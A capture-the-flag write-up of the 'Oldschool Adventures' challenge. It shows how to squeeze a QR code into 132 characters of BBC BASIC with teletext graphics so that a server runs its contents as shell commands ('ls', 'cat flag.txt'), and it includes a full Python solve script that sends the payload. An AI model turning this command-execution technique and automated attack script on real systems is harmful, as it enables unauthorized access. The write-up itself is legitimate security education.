# Oldschool Adventures

> We've found an Acorn Computers machine from the 80's, with 32K of RAM.  
> It is working and running BBC Basic, a fantastic programming language.  
> ButcherCorp was Acorn's owner and this computer is running one of their
> projects.  
> It is a "QR Code Shell".  
> You send a BBC code to it and, if it renders a valid QR code, the QR code's
> content will be executed in a Linux system shell. There are certain
> limitations, such as the number of characters. Currently it's only 132 (the
> code will be truncated at that point). We also know that at read time the
> colors black and white are swapped, and that the interpreter's background
> color is black.  
>  
> Note: due to hardware limitations, test your payloads locally before sending
> them to be executed on the server.  
>  
> Server: nc oldschool.pwn2.win 1337

It is a little hard to understand the instructions here (the original version
didn't specify "in a Linux system shell", which made it extremely obtuse) but
it's clear enough that we send some BBC Basic code which has to render a QR
code.  
Let's start with that.  
We can play around with an emulated BBC Micro using
[JSBeeb](https://github.com/mattgodbolt/jsbeeb) and start reading up on how to
draw graphics.  
Some
[documentation](http://www.riscos.com/support/developers/bbcbasic/part2/simplegraphics.html)
tells us how to draw a point:

```  
POINT X,Y  
```

But even a small, version 1 QR code is 21x21 "modules". Even if we could draw
each point with a single character, we'd need 441 characters to draw a QR code
- and using the `POINT` command each point takes at least 9 characters.

> Techincally you'd need more than 21x21 since QR codes are supposed to have a
> border.  
> But since we're drawing on a black backround, and inverting colors after so
> it becomes white, that provides a border for us, and we can skip drawing the
> border.

The prompt specifies that we can only send 132 characters of code (it isn't
immediately obvious if this refers to the BASIC code, or the contents of the
QR code, but it turns out to mean the BASIC code.)  
So we need to find a more compact way to draw the QR code.

After a _lot_ of skimming through BBC Micro documentation I discovered
[Graphics Mode 7](http://www.bbcbasic.co.uk/bbcwin/manual/bbcwinh.html), the
[Teletext](https://en.wikipedia.org/wiki/Teletext) compatibility mode.  
In this mode, you can't use the graphics drawing APIs but you can draw simple
graphics in text mode by using a special chacater set where each character
draws a 2x3 pixel array:

![table showing a mapping of character values to 2x3 pixel
grids](https://i.imgur.com/afFYmc5.png)

We can use these character codes to draw a QR code much more efficiently than
using the `POINT` command. First we have to send the control character 151 to
draw white graphics (and recall that we are drawing white on a black
background, and need to draw an _inverted_ QR code, per the description).

> Fortunately it seems that you don't need to actually switch to mode 7 for
> this technique to work, which saves us some code.

```  
PRINT CHR$(151)CHR$(160)CHR$(161)...  
```

That's an improvement, but it doesn't get anywhere near 132 characters.  
For that, maybe we can just put the raw character values into the source code.  
BBC Basic supports putting non-ASCII characters into string literals by typing
alt-codes, so maybe it will work?

```  
PRINT"·ó³µµ½µ·ó³µ  
µ¯¥µö¼¤µ¯¥µ  
£³£ñý­åó³ó±  
ûó¤æ¿«äúþé±  
ññó³ô¥­¢à±¡  
µü´µª½­§®¬¡  
õóñµé½êõª¹´"  
```

> I think the encoding is messed up here - I'm printing 8 bit chars, likely
> being interpreted as Latin-1, but I suspect they got converted to UTF-8
> along the way so don't expect copy-and-pasting that to work, but that's what
> I see dumping it to the terminal.

That's just 91 chars!  
But when we paste it into the paste box in JSBeeb, there are two problems:  
First we don't see the non-ASCII characters printed.  
Based on the documentation, we should actually be able to see the graphcis
chars show up as they are "typed" into the system (as we would if we typed
them manually with alt-codes).  
Second, it seems to stop parsing after the first newline and reports `Missing
"` - I guess multiline string literals are not supported!

For now we can work around the second issue by using one `PRINT` statement per
line:

```  
PRINT"·ó³µµ½µ·ó³µ"  
PRINT"µ¯¥µö¼¤µ¯¥µ"  
PRINT"£³£ñý­åó³ó±"  
PRINT"ûó¤æ¿«äúþé±"  
PRINT"ññó³ô¥­¢à±¡"  
PRINT"µü´µª½­§®¬¡"  
PRINT"õóñµé½êõª¹´"  
```  
Unfortunately this bumps us up to 139 chars but we'll pare it down later.  
We don't get the syntax error due to the newlines anymore, but the non-ASCII
characters still get stripped when pasting into JSBeeb.

Reading the JSBeeb documentation turns up this:

> `embedBasic=X` - loads 'X' (a URI-encoded string) as text, tokenises it and
> puts it in `PAGE` as if you'd typed it in to the emulator

Perfect.  
Instead of pasting, we can URL-encode our BASIC payload and generate a
[URL](https://bbc.godbolt.org?embedBasic=PRINT%22%C2%97%C2%B7%C3%B3%C2%B3%C2%B5%C2%B5%C2%BD%C2%B5%C2%B7%C3%B3%C2%B3%C2%B5%22%0APRINT%22%C2%97%C2%B5%C2%AF%C2%A5%C2%B5%C3%B6%C2%BC%C2%A4%C2%B5%C2%AF%C2%A5%C2%B5%22%0APRINT%22%C2%97%C2%A3%C2%B3%C2%A3%C3%B1%C3%BD%C2%AD%C3%A5%C3%B3%C2%B3%C3%B3%C2%B1%22%0APRINT%22%C2%97%C3%BB%C3%B3%C2%A4%C3%A6%C2%BF%C2%AB%C3%A4%C3%BA%C3%BE%C3%A9%C2%B1%22%0APRINT%22%C2%97%C3%B1%C3%B1%C3%B3%C2%B3%C3%B4%C2%A5%C2%AD%C2%A2%C3%A0%C2%B1%C2%A1%22%0APRINT%22%C2%97%C2%B5%C3%BC%C2%B4%C2%B5%C2%AA%C2%BD%C2%AD%C2%A7%C2%AE%C2%AC%C2%A1%22%0APRINT%22%C2%97%C3%B5%C3%B3%C3%B1%C2%B5%C3%A9%C2%BD%C3%AA%C3%B5%C2%AA%C2%B9%C2%B4%22)
to try it out.  
Click that and you should see the BBC Micro draw a lovely inverted-color QR
code!  
My phone will actually parse it even though the colors are inverted.

Now we just need to pare it down to 132 bytes or less.  
I tried all sorts of things to get a newline into the string literal so we can
draw the QR code on one line of BASIC and one `PRINT` statement.  
either a carriage return or a newline ends the BASIC line and requires a new
PRINT statement.  
Other options like form feed work a little better but mess up the drawing
(form feed seems to act like a page break and clears the screen).  
The lines do autowrap but the tab character only seems to insert one space,
and the default graphics mode is 40 characters wide so that won't work.

Eventually I found that `PRINT` can take multiple comma separated values and
will print them at 10-character tabstops. Since a line of our QR code already
is 11 characters and passes the first tabstop, we only need to print two extra
values per line to auto-wrap to the next line:

```  
PRINT"[first line of QR code]",0,0,"[second line of QR code]",0,0,...  
```

Each line needs its own control character (code 151) to enable the graphics
character set.  
All together, the code to draw a QR code now comes to 133 characters.  
SO CLOSE.  
At this point, I tried just stripping the last graphics character from the
last line of the QR code.  
Since QR codes have error correction built in and the end of the last line is
not part of one of the alignment targets, the code remained readable and we
made it within 132 bytes!

> Most of the time.  
> Occasionally the server says it's not a valid QR code, but after a retry it
> usually works.

Now we can start trying to encode shell commands in the QR codes and sending
them to the server. Let's try `ls` ([try
it!](https://bbc.godbolt.org?embedBasic=PRINT%22%C2%97%C2%B7%C3%B3%C2%B3%C2%B5%C3%AF%C2%B0%C2%A4%C2%B7%C3%B3%C2%B3%C2%B5%22%2C0%2C0%2C%22%C2%97%C2%B5%C2%AF%C2%A5%C2%B5%C2%AB%C2%AA%C2%A4%C2%B5%C2%AF%C2%A5%C2%B5%22%2C0%2C0%2C%22%C2%97%C3%A3%C2%B3%C3%B3%C3%B1%C3%A5%C2%A9%C3%B5%C2%B3%C3%A3%C3%A3%C2%B1%22%2C0%2C0%2C%22%C2%97%C2%AC%C2%B4%C2%BF%C2%A4%C3%B4%C2%B9%C2%B7%C2%B7%C2%A9%C3%B4%C2%A5%22%2C0%2C0%2C%22%C2%97%C3%B3%C3%B2%C3%B1%C2%B1%C2%B9%C3%BA%C3%BC%C3%B1%C3%BD%C2%B6%C2%A4%22%2C0%2C0%2C%22%C2%97%C2%B5%C3%BC%C2%B4%C2%B5%C3%A7%C2%BF%C2%A9%C2%B4%C2%A2%C3%B3%C2%A1%22%2C0%2C0%2C%22%C2%97%C3%B5%C3%B3%C3%B1%C2%B5%C3%A5%C3%B8%C3%A7%C3%AE%C3%BD%C2%B1%22)).

When we send this payload to the server (the payload here is the raw BASIC
source, not URL-encoded), it chews on it for a bit while the BBC Micro
generates the QR code, then spits back:

```  
Wait, processing...  
flag.txt  
```

One more try with the payload `cat flag.txt` and it spits out the flag.

Python script to generate JSBeeb URLs for testing or to actually connect to
the server and run the attack:

```python  
import qrcode

def encode(contents):  
# encode contents in BBC Basic which draws a QR code  
qr = qrcode.QRCode(  
# smallest size  
version=1,  
error_correction=qrcode.constants.ERROR_CORRECT_L,  
# 1:1 pixels  
box_size=1,  
# border of 0 techinically is not allowed  
# but since we're drawing on a black background we get border for free  
# (inverted color so black becomes white)  
border=0,  
)  
qr.add_data(contents)  
qr.make(fit=True)

matrix = qr.get_matrix()

def getpix(a, x, y):  
try:  
return a[x][y]  
except IndexError:  
return False

# iterate through QR code bitmap in 2x3 pixel chunks  
# find the appropriate teletext graphics character for each chunk  
lines = []  
for y in range(0, len(matrix[0]), 3):  
line = ""  
for x in range(0, len(matrix), 2):  
grid = [  
getpix(matrix, x+0, y+0), getpix(matrix, x+1, y+0),  
getpix(matrix, x+0, y+1), getpix(matrix, x+1, y+1),  
getpix(matrix, x+0, y+2), getpix(matrix, x+1, y+2),  
]

graphic = 0  
for i in range(len(grid)):  
# we want to draw the QR code with inverted color.  
# this seems to do the trick  
v = 1 if grid[i] else 0  
graphic |= (v << i)

#
http://www.riscos.com/support/developers/bbcbasic/part2/teletext.html#TeletextGraphics  
line += chr((graphic + 160) if graphic < 32 else (graphic + 192))  
lines.append(line)

# Remove the last character to get down to the limit of 132  
# This works because QR code has error correction  
lines[-1] = lines[-1][:-1]  
# to get characters down, instead of a PRINT for each line, we use the  
# tabulation feature and printing enough values to fill each line  
s = 'PRINT' + ',0,0,'.join([f'"\x97{line}"' for line in lines])

return s

if __name__ == '__main__':  
# generate BBC BASIC to show QR code containing command  
payload = encode("cat flag.txt")

if True:  
# talk to the server for real  
from pwn import *

# connect to server  
conn = remote('oldschool.pwn2.win', 1337)

# do PoW  
conn.recvuntil('Send the solution for "hashcash -mb 25 ')  
prompt = conn.recvuntil('":', drop=True).decode('utf-8')  
hc = process(['hashcash', '-mb', '25', prompt])  
hc.recvuntil('hashcash token: ')  
conn.send(hc.recvuntil('\n', drop=True))  
  
# send payload  
conn.recvuntil('Send your payload here:')  
conn.send(payload)  
conn.interactive()  
else:  
# test QR code generation locally to avoid hammering the server  
import urllib.parse

# show the raw payload for sanity check  
print("Raw payload:", payload)  
# Check if it's within the 132 byte limit  
print("Payload length:", len(payload))

# encode in URL for JSBeeb to run  
params = urllib.parse.urlencode({"embedBasic": payload})

# print link to run in JSBeeb  
# you could host JSBeeb locally but this is easier  
# (still runs locally since it's Javascript anyway)  
print("JSBeeb URL:", f"https://bbc.godbolt.org?{params}")  
```